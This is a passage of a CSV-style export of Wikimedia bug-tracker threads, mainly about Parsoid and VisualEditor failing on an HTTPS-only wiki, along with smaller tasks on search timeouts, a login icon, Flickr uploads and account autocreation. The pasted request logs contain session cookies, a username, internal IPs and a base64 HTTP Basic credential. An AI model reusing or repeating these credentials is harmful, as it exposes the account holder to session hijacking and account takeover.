+438683,Parsoid cannot connect to https-only host?,"Shall we close this? I know that VE functions happily on wikitech.wikimedia.org now, which always uses HTTPS.",,,1428265426,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-13,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+277835,Parsoid cannot connect to https-only host?,"I wanted to update this bug with my findings. I now have 1.23wmf7 and the latest builds of Parsoid and VisualEditor working happily with SSL as the default (and forced) connection method for users.
+
+In my LocalSettings.php I have the following:
+
+//Hook it up to Parsoid
+$wgVisualEditorParsoidURL = 'http://my.site.com:8000';
+ 
+$wgVisualEditorParsoidPrefix = 'localhost';
+
+
+In localsettings.js I have:
+
+parsoidConfig.setInterwiki('localhost' , 'http://my.site.com:81/w/api.php');
+
+You can see that we're directing traffic over port 81 to allow Parsoid access.
+
+The issue I was experiencing related to saving a page was due to having an older version (pre 1.9) of Semantic MediaWiki installed with 1.23.",,,1388082421,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-79,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1
+277829,Parsoid cannot connect to https-only host?,"I've followed the troubleshooting guide and I'm still having issues connecting to a https-only host.
+
+From the server I can run the following with success:
+
+curl http://my.site.com:81/w/api.php
+
+I opened port 81 to allow for http access to the api endpoint.
+
+However I cannot seem to connect to Parsoid, the app in question. 
+
+curl http://my.site.com:8000 returns the human-readable landing page for the Parsoid web service.
+
+curl http://my.site.com:8000/localhost/Introduction
+
+returns no message via the command line.
+
+I can start Parsoid via node server.js
+
+I can launch VisualEditor and edit a page normally, everything works.
+
+server.js spits out the following:
+
+starting parsing of localhost:Introduction
+completed parsing of localhost:Introduction in 1660 ms
+
+As soon as I go to save an edit, a small note appears under the Summary box.
+
+Error: Unknown error.
+
+server.js reports nothing
+
+
+While Parsoid is running (node server.js) and I attempt the following
+
+curl http://my.site.com:8000/localhost/Introduction
+
+I see the message:
+
+starting parsing of localhost:Introduction
+redirected localhost:Introduction to revision 62067",,,1387213772,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-81,True,0,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+277820,Parsoid cannot connect to https-only host?,"I know it works, it's a workaround. I am hosting the site in a CentOS server, but despite the research I have done some time ago I couldn't install the certificate in the system root, so neither PHP and node.js see the certificate. 
+
+I will try again now. Is there any documentation you know about this? (sorry if it's off-topic)",,,1386278143,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+277811,Parsoid cannot connect to https-only host?,"(In reply to comment #8)
+> I am sorry, I can't pay for a real certificate. Is there a way to add my root
+> certificate to Parsoid? Does it use the system certificates?
+> 
+> Or as a workaround, is there a way to permit self-signed authorities?
+
+Your wiki actually works by setting the API URL to http://wiki.mc128k.info/api.php.
+
+Nodejs uses openssl, so I'm guessing that you can install additional CA certs in /etc/ssl/certs/ (assuming you are using Debian).",,,1386277852,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1
+277803,Parsoid cannot connect to https-only host?,"I am sorry, I can't pay for a real certificate. Is there a way to add my root certificate to Parsoid? Does it use the system certificates?
+
+Or as a workaround, is there a way to permit self-signed authorities?
+
+Thanks.",,,1386273347,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+277794,Parsoid cannot connect to https-only host?,"Parsoid is only using HTTP, so trying to connect to it via HTTPS is going to fail. It can connect to MediaWiki using HTTPS though when configured to do so in localsetting.js. Please check the steps in https://www.mediawiki.org/wiki/Parsoid/Troubleshooting to make sure Parsoid is working.
+
+> https://wiki.mc128k.info
+
+Your SSL cert does not seem to be signed by a trusted CA, which likely explains your issue. Try with a signed SSL cert.",,,1386270337,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+277787,Parsoid cannot connect to https-only host?,"Addition:
+Changing $wgVisualEditorParsoidURL to 'https://my.wiki.com:8000'; results in a different error.
+
+Error loading data from server: parsoidserver-http-curl-error: SSL connect error. Would you like to retry?
+
+
+Headers below:
+
+Start request POST /w/api.php
+HTTP HEADERS:
+HOST: my.wiki.com
+CONNECTION: keep-alive
+CONTENT-LENGTH: 60
+AUTHORIZATION: Basic bWVtY2FjadGU6cGFzc3dvcmQ=
+ACCEPT: application/json, text/javascript, */*; q=0.01
+ORIGIN: https://my.wiki.com
+X-REQUESTED-WITH: XMLHttpRequest
+USER-AGENT: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
+CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
+REFERER: https://my.wiki.com/w/index.php?title=Main_Page&veaction=edit
+ACCEPT-ENCODING: gzip,deflate,sdch
+ACCEPT-LANGUAGE: en-US,en;q=0.8
+COOKIE: infoLoggedOut=1386191878; __utma=198203634.1203293077.1386191715.1386191715.1386191715.1; __utmc=198203634; __utmz=198203634.1386191715.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=4f15c368d4244cc2b9e72e06f65adc12; wikiEditor-0-booklet-characters-page=latin; wikiEditor-0-toolbar-section=advanced; vector-nav-p-Repository=true; vector-nav-p-tb=true
+CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
+[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
+LocalisationCache: using store LCStoreDB
+Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
+Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
+Parser: using preprocessor: Preprocessor_DOM
+Connected to database 0 at lnxvmiptdbt01
+Class UniversalLanguageSelectorHooks not found; skipped loading
+Fully initialised
+User: got user 378 from cache
+User: loading options for user 378 from override cache.
+User: logged in from session
+ApiMain::setCacheMode: setting cache mode private
+IP: 10.29.122.24",,,1386269909,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,1,1
+277780,Parsoid cannot connect to https-only host?,"I am experincing the same bug.
+
+Attempting to evoke VisualEditor to edit any pages where we have redirected all traffic to https results in the error.
+
+
+In the browser:
+Error loading data from server:parsoidserver-hhtp-curl-error:
+Empty reply from server. Would you like to retry?
+
+
+Parsoid displays the following upon each attempt to edit a page (in this case Main Page):
+
+ERROR in localhost:Main_Page
+Stack trace: DoesNotExistError: Page Fetch failure for null
+worker 20040 died, restarting.
+
+
+MediaWiki logs show the following for the request:
+
+Start request POST /w/api.php
+HTTP HEADERS:
+HOST: my.wiki.com
+CONNECTION: keep-alive
+CONTENT-LENGTH: 60
+ACCEPT: application/json, text/javascript, */*; q=0.01
+ORIGIN: https://my.wiki.com
+X-REQUESTED-WITH: XMLHttpRequest
+USER-AGENT: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
+CONTENT-TYPE: application/x-www-form-urlencoded; charset=UTF-8
+REFERER: https://my.wiki.com/wiki/Main_Page?veaction=edit
+ACCEPT-ENCODING: gzip,deflate,sdch
+ACCEPT-LANGUAGE: en-US,en;q=0.8
+COOKIE: __utma=198203634.575160840.1386267474.1386267474.1386267474.1; __utmb=198203634.2.10.1386267474; __utmc=198203634; __utmz=198203634.1386267474.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); infoUserID=378; infoUserName=Clkoerne; info_session=7200a1cbfcef48ded410afb07850a6fc
+CACHES: MemcachedPhpBagOStuff[main] MemcachedPhpBagOStuff[message] MemcachedPhpBagOStuff[parser]
+[cookie] session_set_cookie_params: ""0"", ""/"", """", ""1"", ""1""
+LocalisationCache: using store LCStoreDB
+Unstubbing $sfgFormPrinter on call of $sfgFormPrinter::setInputTypeHook from SFSelect_formSetup
+Unstubbing $wgParser on call of $wgParser::setHook from ExtDynamicPageList::setupDPL
+Parser: using preprocessor: Preprocessor_DOM
+Connected to database 0 at lnxvmipdbt01
+Class UniversalLanguageSelectorHooks not found; skipped loading
+Fully initialised
+User: got user 378 from cache
+User: loading options for user 378 from override cache.
+User: logged in from session
+ApiMain::setCacheMode: setting cache mode private
+IP: 10.9.191.150",,,1386269124,,PHID-USER-xd3dshn3ykvvbsxmqbg6,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-82,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+277773,Parsoid cannot connect to https-only host?,"Debug log from parsoid:
+ - worker(23680) ready
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 4 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 3 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 2 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 1 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+Retrying Page Fetch request for null, 0 remaining
+{
+  ""0"": ""WARNING: RETRY:"",
+  ""1"": {}
+}
+ERROR in localhost:Main_Page:
+Page Fetch failure for null
+Stack trace: DoesNotExistError: Page Fetch failure for null
+worker 23671 died (1), restarting.
+ - worker(23690) loading...
+ - worker(23690) ready
+
+
+I don't know if the API works from the external network, this is a protected wiki, I hope login won't be necessary.
+
+https://wiki.mc128k.info",,,1386145344,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-83,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+277768,Parsoid cannot connect to https-only host?,"I just tested this with 'enwiki' and
+
+parsoidConfig.setInterwiki( 'enwiki', 'https://en.wikipedia.org/w/api.php' );
+
+We don't set the port explicitly and use the API uri as-is, so in theory https-only APIs should work. Do you have a public https-only API URI we can test with?",,,1386118696,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-83,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0
+277764,Parsoid cannot connect to https-only host?,"I'm sorry, I thought Parsoid was part of VisualEditor. Corrected. Thanks.
+Latest git versions, of parsoid, mediawiki, visualeditor.",,,1381092220,,PHID-USER-vj2bbc63joi46qr5a5nq,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+277761,Parsoid cannot connect to https-only host?,"Hmm, shouldn't this be filed under product ""Parsoid""? :)
+Which Parsoid version and which MediaWiki version is this about?",,,1381092082,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xya74ryevlevdpyqmth6,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0
+56865,Monitor search HTTP timeouts,"UDP logging for search is currently disabled.  However, it would be good to be able to track the main errors.  An example of one that seems important (which I was receiving earlier tonight) is:
+
+An error has occurred while searching: HTTP request timed out
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1380696120,1392335229.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-fumdp5y46dhpxixvu23m,task_description,declined,True,c3,1,True,False,True,-92,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+273927,Monitor search HTTP timeouts,This is mostly a WONTFIX for MWSearch at this point as we're moving full steam ahead towards Cirrus for everyone. The logging situation there is generally improved with slow queries and timeouts.,,,1392335229,,PHID-USER-oetk6bbl6omm354ejz3b,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c3,1,True,,,-72,True,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+273922,Monitor search HTTP timeouts,"If we're interested in timeouts only/mainly, the log for ""Search backend error"" could be split from mwsearch to its own log, if necessary.
+Other than that, this is just a config change (Wikimedia product) I think?",,,1380696477,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-fumdp5y46dhpxixvu23m,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0
+56500,Use a better CentralAuth icon for loginwiki,"https://login.wikimedia.org/wiki/Special:CentralAutoLogin/deleteCookies?type=icon - this is using a Wikipedia logo currently. Can we use a Wikimedia logo at least?
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1380027240,1381178345.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-nzebtgpchem4g773gg6i,task_description,resolved,True,c3,1,False,False,True,-93,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0
+257897,Use a better CentralAuth icon for loginwiki,"Change 86091 merged by jenkins-bot:
+Change SUL image for loginwiki to WMF logo
+
+https://gerrit.wikimedia.org/r/86091",,,1381172664,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,False,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+257892,Use a better CentralAuth icon for loginwiki,"(In reply to comment #2)
+> OK, but I'm just curious, where is this icon still seen?
+
+Logout page.",,,1380192527,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,1
+257888,Use a better CentralAuth icon for loginwiki,"OK, but I'm just curious, where is this icon still seen?",,,1380192352,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,True,,,-92,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0
+257884,Use a better CentralAuth icon for loginwiki,"Change 86091 had a related patch set uploaded by TTO:
+Change SUL image for loginwiki to WMF logo
+
+https://gerrit.wikimedia.org/r/86091",,,1380192303,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nzebtgpchem4g773gg6i,task_subcomment,,True,c3,1,False,,,-92,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+56468,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"This could be an upstream bug, either in HTTPSEverywhere or Flickr API, but I'm not sure.
+
+When making a request for a flickr image such as https://secure.flickr.com/photos/sludgeulper/7447549052/in/photostream/ from UploadWizard while having HTTPSEverywhere  active, the API request to secure.flickr.com returns an empty result. When not having the extension active, the result is made to api.flickr.com and works as expected.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1379948580,1389207325.0,PHID-USER-2trxtywh5ma4onasf4kq,False,,False,PHID-TASK-zre4dw2by7umnxgdzcwg,task_description,invalid,True,c3,1,False,False,True,-93,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+255830,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),Can't reproduce this. It seems Flickr changed how they handle HTTPS and there is no redirect now.,,,1389059684,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-78,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+255822,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),I think that this is problem in the UploadWizard javascript triggered by HTTPSEverywhere plugin. https://api.flickr.com redirects to https://secure.flickr.com which causes the XHR request to hang/fail. This fix for this may be as easy as changing 'flickrApiUrl' in UploadWizard.config.php from '//api.flickr.com/services/rest/?' to ''https://secure.flickr.com/services/rest/?' making the request SSL/TLS protected for all users.,,,1384972951,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-85,True,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,1
+255812,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"The bug that we decided this duplicated seemed similar at the time, but it is actually very different.",,,1381880122,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-90,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+255802,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"
+
+*** This bug has been marked as a duplicate of bug 42468 ***",,,1381426891,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,False,,,-90,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+255795,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),"(In reply to comment #1)
+> A related improvement would be to use the secure API endpoint when the user
+> is using https on the mediawiki site.
+
+Only if it works. ;-)",,,1379997214,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+255788,Using the secure API is breaking the Flickr upload (using HTTPSEverywhere),A related improvement would be to use the secure API endpoint when the user is using https on the mediawiki site.,,,1379948656,,PHID-USER-2trxtywh5ma4onasf4kq,False,,,PHID-TASK-zre4dw2by7umnxgdzcwg,task_subcomment,,True,c3,1,False,,,-93,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+56292,Autocreate not running on Special:CentralAutoLogin,"DGarry (WMF) was hitting a bug today where he logged into enwiki, and SUL logged him into most of the other projects. But, his account wasn't attached on commons, and so that autologin attempt failed, with an error in the header saying the user didn't have an attached account.
+
+When he logged in directly on commons, the account was autocreated correctly.
+
+We should be autocreating the accounts, like used to happen with the old AutoLogin.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Medium,50.0,1379539380,1380142225.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-svzudixhz7fip5zakgrk,task_description,resolved,True,c3,1,True,False,True,-94,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+245119,Autocreate not running on Special:CentralAutoLogin,Deployed,,,1380142225,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-svzudixhz7fip5zakgrk,task_subcomment,,True,c3,1,True,,,-93,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+245117,Autocreate not running on Special:CentralAutoLogin,"Change 84998 merged by jenkins-bot:
+Don't fail autologin for unattached accounts
+
